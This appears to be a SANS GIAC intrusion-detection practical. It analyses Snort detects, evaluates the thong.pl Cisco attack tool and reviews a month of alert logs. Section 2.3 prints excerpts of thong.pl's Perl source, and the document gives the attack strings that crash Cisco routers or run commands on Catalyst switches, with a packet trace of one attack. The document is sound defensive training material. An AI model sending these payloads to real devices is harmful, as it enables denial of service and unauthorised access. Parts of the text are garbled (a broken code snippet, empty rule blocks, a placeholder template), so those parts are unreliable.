1. **Source of trace.**

   My network.

2. **Detect was generated by:**

   Detect was generated by Snort Intrusion Detection System, Version 1.7.
   
   Snort rule:
   
   ```
   ```

   explain the log format

3. **Probability the source address was spoofed:**

   Probably not spoofed. Spoofing the address would be defeating the purpose to see response.

4. **Description of attack:**

   The attacker is trying to determine if a name server supports IQUERY (Inverse Query).

5. **Attack Mechanism:**

   IP address `seeker.net` is trying to determine if the name server, `my.dns.com`, supports IQUERY.
This signature often indicates a pre-attack probe used to locate vulnerable servers running named. With Inverse Query Buffer Overrun in BIND 4.9 and BIND 8 Releases attacker can gain root-level access to name server.

6. **Correlation:**

The following links have additional information:
- [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0009](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0009)
- [http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D134](http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D134)
- [http://www.insecure.org/sploits/bind.multiple.vuln.html](http://www.insecure.org/sploits/bind.multiple.vuln.html)

7. **Evidence of active targeting:**

The source IP address **iquery.net** targeted IP address **my.dns.com**

8. **Severity:**

\[(\text{System Criticality} + \text{Attack Lethality}) - (\text{System Countermeasures} + \text{Network Countermeasures}) = \text{Severity}\]

\[(5 + 3) - (5+2) = 1\]

- System Criticality: 5 - DNS server
- Attack Lethality: 3 - Pre-attack probe
- System Countermeasures: 5 - Modern operating system, all patches
- Network Countermeasures: 2 - Firewall in place, but traffic is allowed to target

9. **Defensive recommendation:**

"Upgrading to the latest version of bind, available at: [http://www.isc.org/bind.html](http://www.isc.org/bind.html) will eliminate this vulnerability."

CERT advisory CA-98.05.bind_problems.html details individual vendor responses. It also provides information about specific vendor patches." ([http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D134](http://www.securityfocus.com/frames/?content=/vdb/bottom.html%3Fvid%3D134)).

10. **Multiple choice test question:**

Which service is on port 53?

A SMTP  
B WWW  
C FTP  
D DNS
Answer D

Detect #2 (SMTP relaying denied) – (Back)

[**] SMTP relaying denied [**]
03/20-20:06:08.358631 my.smtp.com:25 -> seeker.relaying.net:2407

34 75 40 65 6F 6D 3E 6E 65 6E 69 65 .
Relaying denied
64 0D 0A

1. Source of trace.
My network.

2. Detect was generated by:
Detect was generated by Snort Intrusion Detection System, Version 1.7.
Snort rule:
alert tcp $HOME_NET 25 -> $EXTERNAL_NET any (msg:"SMTP relaying denied";flags: A+; content: "5.7.1"; depth:70; reference:arachnids ,249;)

3. Probability the source address was spoofed:
Probably spoofed.

4. Description of attack:
"Mail relay is enabled, allowing abuse by spammers." (CAN-1999-0512)

5. Attack Mechanism:
On the Internet, there are mail servers that are miss-configured and are an open relay. This means that unscrupulous people can send bulk unsolicited junk e-mail through those relays and bombard other sites.

6. **Correlation:**

http://www.whitehats.com/info/IDS249
http://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0512

7. **Evidence of active targeting:**

The **seeker.relaying.net** targeted **my.smtp.com** and packets, from the dump, are responses from **my.smtp.com**.

8. **Severity:**

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(4 + 1) - (5 + 2) = -2
System Criticality: 4 - SMTP server
Attack Lethality: 1 - Attack is unlikely to succeed
System Countermeasures: 5 - Modern operating system, all patches
Network Countermeasures: 2 - Firewall in place, but traffic is allowed to target

9. **Defensive recommendation:**

"This behavior indicates the successful blocking of an attempt at relaying email through an internal email server." (ids249)

10. **Multiple choice test question:**

What is signature of the "SMTP relaying denied"

A FLAGS SYN, PSH
B CONTENT "550"
C FLAGS ACK, PSH CONTENT "5.7.1", DEPTH "70"
D DEPTH "7"

Answer C

**Detect #3 (False Positive - transmitting data via HTTP) - (Back)**

74 6D 6C 2E 65 78 65 2F .. .. .. .. .. .. .. ..
GET /_vti_bin/sh
ml.exe/......

1. **Source of trace.**

My network

2. **Detect was generated by:**

Detect was generated by Snort Intrusion Detection System, Version 1.7.
Snort rule:

3. **Probability the source address was source:**

Probably not spoofed, if attacker determines the physical path of HTML, HTM, ASP, and SHTML files.

Probably spoofed if attacker want to cause denial of service.

4. **Description of attack:**

This attack has two references, which describe attacks:
- "The shtml.exe program in the FrontPage extensions package of IIS 4.0 and 5.0 allows remote attackers to determine the physical path of HTML, HTM, ASP, and SHTML files by requesting a file that does not exist, which generates an error message that reveals the path." (CAN-2000-0413)
- "The shtml.exe component of Microsoft FrontPage 2000 Server Extensions 1.1 allows remote attackers to cause a denial of service in some components by requesting a URL whose name includes a standard DOS device name." (CAN-2000-0709)

5. **Attack Mechanism:**

The IP address 192.168.100.101 sends a packet, which contains "/_vti_bin/shtml.exe" and a path to a non-existing file to my.web.com. "Passing a path to a non-existent file to the shtml.exe or shtml.dll (depending on platform) program will display an error message starting that the file cannot be found accompanied by the full local path to the web root. For example, performing a request for http://target/_vti_bin/shtml.dll/non_existant_file.html will produce an error message stating "Cannot open "C:\localpath\non_existant_file.html": no such file or folder". (bid 1174) Expose information of the real path, an attacker can later use for future attacks.
6. Correlation:

The following links have additional information:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0413
http://www.securityfocus.com/bid/1174
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0709
http://www.securityfocus.com/bid/1608

7. Evidence of active targeting:

The source IP address **192.168.100.101** targeted **my.web.com**.

8. Severity:

\[(\text{System Criticality} + \text{Attack Lethality}) - (\text{System Countermeasures} + \text{Network Countermeasures}) = \text{Severity}\]

\[(4 + 2) - (2 + 2) = 2\]

System Criticality: 4 - Web server
Attack Lethality: 2 - Pre attack probe
System Countermeasures: 2 - Target is not patched
Network Countermeasures: 2 - Firewall in place, but traffic is allowed to target

9. Defensive recommendation:

"Microsoft will be addressing this issue with version 1.2 of Frontpage Server Extensions 2000." (bid 1174)

10. Multiple choice test question:

Which item is a signature of a "WEB-FRONTPAGE shtml.exe " attack:

A /_vti_/html.exe
B /_vti_bin/shtml.exe
C /_vti_bin/http.exe
D /_bin/shttp.exe

Answer B

7. Evidence of active targeting:

N/A

8. Severity:

(System Criticality + Attack Lethality) – (System Countermeasures + Network Countermeasures) = Severity

(x + x) - (x + x) = x

System Criticality:
Attack Lethality:
System Countermeasures:
Network Countermeasures:

9. **Defensive recommendation:**

Do right configuration.

10. **Multiple choice question:**

106011: Deny inbound (No xlate) udp src xxx:192.168.100.100/13991 dst xxx:17.32.115.196/13991

This log was generated by:

A Check Point FW1
B Cisco Secure PIX firewall
C Cisco Secure IDS
D Shadow

**Answer B**
Assignment 2 – Evaluate and attack – (Back)

1. Source of the Attack - thong.pl - automated multi dos attack tool

According to the (1), "Thong-th-thong-th-thong.pl AKA thong.pl is a PERL script which automates several attacks against various Cisco products. To be specific:

12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
11-28-00 - Cisco 675 Web Administration Denial of Service Vulnerability
10-26-00 - Cisco Catalyst 3500 XL Remote Arbitrary Command
10-25-00 - Cisco IOS Software HTTP Request DoS Vulnerability"

2. Description of Attack

2.1 Exploits Details

Name: Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability
CVE: CAN-2001-0080 (under review) (2)
Operating System: Cisco Catalyst 6000, 5000, or 4000 switches
Brief Description: Cisco switches allow remote attackers to cause a denial of service by connecting to the SSH service with a non-SSH client, which generates a protocol mismatch error.

Name: Cisco 675 Web Administration Denial of Service Vulnerability
BUGTRAQ id: 2012
Operating System: Cisco DSL Router 677.0, Cisco DSL Router 675.0
Brief Description: "If the Cisco 675 DSL Router has the Web Administration Interface enabled, a remote attacker could telnet to the router and issue a simple malformed HTTP GET request. Once connected via telnet to the Web Administration Interface, issuing the command GET ?\n\n will crash the telnet session as well as the router, requiring it be power cycled before resuming normal operation." (3)

Name: Cisco Catalyst 3500 XL Remote Arbitrary Command
CVE: CAN-2000-0945 (under review) (4)
Operating System: Cisco Catalyst 3500 XL switches
Brief Description: Web configuration interface for Catalyst 3500 XL switches allows remote attackers to execute arbitrary commands without authentication via URL containing the /exec/ directory.

Name: Cisco IOS Software HTTP Request DoS Vulnerability
CVE: CVE-2000-0984 (5)
Operating System: Cisco IOS 12.0 through 12.1  
Brief Description: HTTP server in Cisco IOS 12.0 through 12.1 allows local users to cause a denial of service (crash and reload) via URL containing a "?/" string.

2.2 How to use the exploit

To start PERL script, the following command can be used:
# ./thong.pl -h <host>

Then, you can choose one of the next options:

<table>
<thead>
<tr>
<th>DATE</th>
<th>VULNERABILITY</th>
</tr>
</thead>
<tbody>
<tr>
<td>12-13-00</td>
<td>Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability</td>
</tr>
<tr>
<td>11-28-00</td>
<td>Cisco 675 Web Administration Denial of Service Vulnerability</td>
</tr>
<tr>
<td>10-26-00</td>
<td>Cisco Catalyst 3500 XL Remote Arbitrary Command</td>
</tr>
<tr>
<td>10-25-00</td>
<td>Cisco IOS Software HTTP Request DoS Vulnerability</td>
</tr>
</tbody>
</table>

Enter Option:

2.3 Source code

The source code can be found at (1) and the lines below come from thong.pl:

```
sub computeOption
{
    if    ($menu_opt == "1"){$PORT = 22; $STRING = "this ain't SSH");
    elsif ($menu_opt == "2"){$PORT = 80; $STRING = "GET ? HTTP/1.0
n
n";
    elsif ($menu_opt == "3"){$PORT = 80; three();
    elsif ($menu_opt == "4"){$PORT = 80; $STRING = "GET /error?/ HTTP/1.0
n
n";
    else  {print "Select a real option!n"; menu();
}
}

sub three
{
    print "Enter file to read or enter D for default (/show/config/cr): ";
    $key = <STDIN>;
    chomp ($key);
    print "\nGetting $key...\n"
    if (($key eq "D")||($key eq "d"))
    {
        print "\nGetting /show/config/cr...\n"
        $STRING = "GET /exec/show/config/cr HTTP/1.0\n\n";
    }
    else
    {
        print "\nGetting $key...\n"
        $STRING = "GET /exec$key HTTP/1.0\n\n";
```
3. Trace of the Attack

I used Sniffer Pro from Network Associates and I have done trace for Cisco IOS Software HTTP Request DoS Vulnerability.

First the three way handshake, SYN, SYN-ACK, ACK:

1 [attacker] [http-server] 74 TCP: D=80 S=1130 SYN SEQ=3676262050 LEN=0 WIN=32120
2 [http-server] [attacker] 60 TCP: D=1130 S=80 SYN ACK=3676262051 SEQ=3588378044 LEN=0 WIN=4128
3 [attacker] [http-server] 60 TCP: D=80 S=1130 ACK=3588378045 WIN=32120

Attacker sends a HTTP request:

```
TCP: ---- TCP header ----
TCP: Source port             = 1130
TCP: Destination port        = 80 (WWW-HTTP)
TCP: Sequence number         = 3676262051
TCP: Next expected Seq number= 3676262074
TCP: Acknowledgment number   = 3588378045
TCP: Data offset             = 20 bytes
TCP: Flags                   = 18
TCP: ..0. .... = (No urgent pointer)
TCP: ...1 .... = Acknowledgment
TCP: .... I... = Push
TCP: .... .0.. = (No reset)
TCP: .... ...0 = (No SYN)
TCP: ...... ...0 = (No FIN)
TCP: Window                  = 32120
TCP: Checksum                = 45D2 (correct)
TCP: No TCP options
TCP: [23 Bytes of data]
TCP:
HTTP: ----- Hypertext Transfer Protocol -----
HTTP: Line 1: GET /error/? HTTP/1.0
HTTP: Line 2:
HTTP:
```

Detecting the attack

I wrote the Snort rule:
alert tcp any any -> http-server 80 (msg:"Cisco IOS HTTP Request Vulnerability CVE-2000-0984",flags: AP; content:"?/"; nocase;)

That means alert on any source IP address sends a TCP traffic to destination host http-server with destination port of 80 and with PUSH and ACK flags and content ?/ giving a message of "Cisco IOS HTTP Request Vulnerability CVE-2000-0984".

Snort file alert shows next lines:
[*] Cisco IOS HTTP Request Vulnerability CVE-2000-0984 [**]
TCP TTL:64 TOS:0x0 ID:38022 IpLen:20 DgmLen:63 DF
***AP*** Seq: 0xFF5E4053 Ack: 0xA2774234 Win: 0x7D78 TcpLen: 20

Snort file TCP:1174-80 shows next lines:
TCP TTL:64 TOS:0x0 ID:38022 IpLen:20 DgmLen:63 DF
***AP*** Seq: 0xFF5E4053 Ack: 0xA2774234 Win: 0x7D78 TcpLen: 20
47 45 54 20 2F 65 72 72 6F 72 3F 2F 20 48 54 50 1.0.. P/1.0.

Assignment #3 – Analyze This Scenario – (Back)

1. Scenario

"Your organization has been asked to provide a bid for security services to GIAC Enterprises, an e-business startup that sells electronic fortune cookie sayings. You have been provided with one month’s worth of data from a Snort system with a fairly standard rulebase. From time to time, the power has failed or the disk was full so you do not have data for all days. Your task is to analyze the data. Be especially alert for signs of compromised systems or network problems and produce an analysis report." (1)

2. Snort Snarf output of the alert files

Detailed analyze of the summary field (SnortSnarf) shows that only one signature is present for all five Top Source Hosts and it is Watchlist 000220 IL - ISDNNET-990517 and all 46 source hosts traffic comes from Israel. For example IP address 212.179.79.2 has the next information from RIPE Whois Database:

Inetnum: 212.179.79.0 - 212.179.79.63
netname: CREOSCITEX
descr: CREOSCITEX-SIFRA
country: IL
admin-c: ZV140-RIPE
tech-c: NP469-RIPE
status: ASSIGNED PA
notify: hostmaster@isdn.net.il
changed: hostmaster@isdn.net.il 20001109
source: RIPE

Top Destination Hosts shows most targeted hosts on MY.NET, for this attack, and all of them have at least one scanning signature, for example "SYN-FIN scan!". The lines below come from Snort. "Null scan!", in the first line, indicates the scanning of the port 6699 on MY.NET.201.222. After scanning came traffic to MY.NET.201.22 on the same port.
01/02-16:16:47.594317  [**] Null scan!  [**] 213.96.7.214:60860 -> MY.NET.201.222:6688

01/04-02:54:06.872039  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688
01/04-02:54:07.917555  [**] Watchlist 000220 IL-ISDNNET-990517 [**]
212.179.27.111:1778 -> MY.NET.201.222:6688

I have found the report of similar traffic on (2) and comment was: "In this case, a large portion of it looks like gnutella related activity." "Gnutella is the protocol that allows those with a Gnutella client to distribute files." (3) For more information on Gnutella, take a look at (3) or (4). There are some security risks to use gnutella, for example:
- no restrictions possible on unauthorized sharing of files,
- not anonymous,
- ability to see what other people are searching for on the network,
- distributed nature of servant makes it difficult to block access to GnutellaNet,
- ability to change the port you use makes it difficult to block access to GnutellaNet,
- ability to define your own internal network with a single exit point to the rest of the internet makes it difficult to block access to GnutellaNet

7 different signatures are present for IP address MY.NET.202.94 as a destination:
- 2 instances of Null scan!,
- 3 instances of SYN-FIN scan!,
- 3 instances of BackOrifice,
- 4 instances of Attempt Sun RPC high port access,
- 6 instances of SUNRPC highport access,
- 54 instances of WinGate 1080 Attempt,
- 5181 instances of Watchlist 000220 IL-ISDNNET-990517.
Lines above show many strange actions on the IP address MY.NET.202.94 and it will require further review.

3.2 SYN - FIN scan!

Event description: "A TCP probe was sent with the SYN+FIN flags set in the header. This traffic does not occur naturally and indicates an intentional probe, likely as a part of single-packet OS detection." (6)

| SYN - FIN scan! | 37 sources | 27067 destinations |

IP address 209.67.50.203 attacks DNS servers (MY.NET.1.3, MY.NET.1.4, MY.NET.1.5) with udp packets (rate of 60 per second). The lines below show some of the Snort records:

01/06-18:31:00.300393  [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:15835
-> MY.NET.1.4:53

01/06-18:31:02.539097  [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:10054
-> MY.NET.1.4:53
01/06-18:31:02.586111  [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:4890
-> MY.NET.1.3:53
01/06-18:31:02.686219  [**] DNS udp DoS attack described on unisog [**] 209.67.50.203:3638
-> MY.NET.1.4:53

I have found the rapport of DNS udp on (6) and DNS udp packets repeated only 2 per second.

3.4 Tiny Fragments - Possible Hostile Activity

Event description: "With many IP implementations it is possible to impose an unusually small fragment size on outgoing packets. If the fragment size is made small enough to force some of a TCP packet's TCP header fields into the second fragment, filter rules that specify patterns for those fields will not match. If the filtering implementation does not enforce a minimum fragment size, a disallowed packet might be passed because it didn't hit a match in the filter." (7) The tiny fragment attack is designed to fool the IDS.

It will require further review.

3.5 Connect to 515 from outside

Port 515/tcp uses to access to printer service ports and printing service is called LPRng. According to CVE-2000-0917 "Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands."

<table>

[**] connect to 515 from outside [**] 141.211.176.99:1714 -> MY.NET.75.35:515
```

4. Other Alerts of Interest

4.1 SNMP public access

The Simple Network Management Protocol (SNMP) is used for monitoring routers, switches and other network elements (UDP port 161). For authentication, SNMP is using community strings. Default SNMP community strings, set to "public" and "private", are frequently used. SNMP public access is one of the Top Ten Internet Security Threats. (8)

| SNMP public access | 20 sources | 7 destinations |

<td>21</td>
<td>22</td>
<td>1</td>
<td>2</td>
</tr>
</tbody>
</table>

Snort rule:
alert udp any any -> $HOME_NET 161 (msg: "SNMP public access"; content:"public");

IP address targeted three computers on MY.NET (MY.NET.100.99, MY.NET.100.143 and MY.NET.100.206) and the next lines shows some Snort records.

01/12-09:56:42.477347 [**] SNMP public access [**] 128.46.156.231:2159 -> MY.NET.100.206:161
01/12-09:56:43.001464 [**] SNMP public access [**] 128.46.156.231:2163 -> MY.NET.100.143:161
01/12-09:56:48.423324 [**] SNMP public access [**] 128.46.156.231:2168 -> MY.NET.100.99:161
01/12-09:56:50.337560 [**] SNMP public access [**] 128.46.156.231:2171 -> MY.NET.100.99:161
01/12-09:56:53.542213 [**] SNMP public access [**] 128.46.156.231:2173 -> MY.NET.100.99:161

For this alert, there are 20 sources and 7 destinations and it's something odd. It must be opposite, i.e. more destinations than sources and it means there are always more network elements than network management stations.

It will require further investigation.

4.2 Russia Dynamo - SANS Flash 28-jul-00

The SANS Institute wrote:
"SANS Flash Report: Trojans Sending More Data To Russia
July 28, 2000, 6:20 pm, EDT"

This is preliminary information. The GIAC (Global Incident Analysis Center) has received several submissions showing large amounts of data being sent, illegitimately, from Windows 98 machines to a Russian IP address (194.87.6.X). The cause is most probably a Trojan, but whatever it is, it is moving fast."

<tbody>
<tr>
<td>1</td>
<td>MY.NET.70.255</td>
<td>151</td>
<td>153</td>
<td>23</td>
<td>25</td>
</tr>
</tbody>
</table>

Detailed analyze of the summary field (SnortSnarf) shows that 2 different signatures are present for MY.NET.70.255 as a destination:
- 2 instances of SYN-FIN scan!
- 151 instances of Broadcast Ping to subnet 70.

I don't know addressing scheme and all net masks on MY.NET. If MY.NET.70.255 is a broadcast address, this net possibly would be used as a smurf amplifier. If not, MY.NET.70.255 requires further investigation. For example, Loki traffic, which is using for covering the tracks, looks like ICMP traffic.

### 4.4 Back Orifice

Back orifice is well known backdoor, with many versions. Old Back Orifice port was UDP 31337, but today Back Orifice hasn't default port.

All alerts under this headline require further investigation.

### 4.5 Attempt Sun RPC high port access, SUNRPC highport access and External RPC call

"Sun's Remote Procedure Call (RPC) protocol [Sun Microsystems, 1988, 1990] underlies many of the new services. Unfortunately, many of these services represent potential security problems " (10)
Remote Procedure Calls is, also, one of the Top Ten Internet Security Threats. (8)

All alerts under this headline require further investigation.

**Conclusion**

From the Table 1, we can see many signatures and they can cover one attack scenario, i.e. reconnaissance, penetration and denial of service.

MY.NET scanned heavily and the most popular scan was "SYN - FIN scan".

There are many signs that traffic on MY.NET was probably gnutella related.

On MY.NET, there are many examples of strange traffic, like Tiny Fragments, Connect to 515 from outside and inside, SNMP public access, RPC traffic. It will require further investigation.

Russia Dynamo - SANS Flash 28-jul-00 is one example that MY.NET has computer infected probably with "Trojans Sending More Data To Russia".

"DNS udp DoS attack described on unisog" and "Broadcast Ping to subnet 70" are examples of Denial of Service attacks on MY.NET.
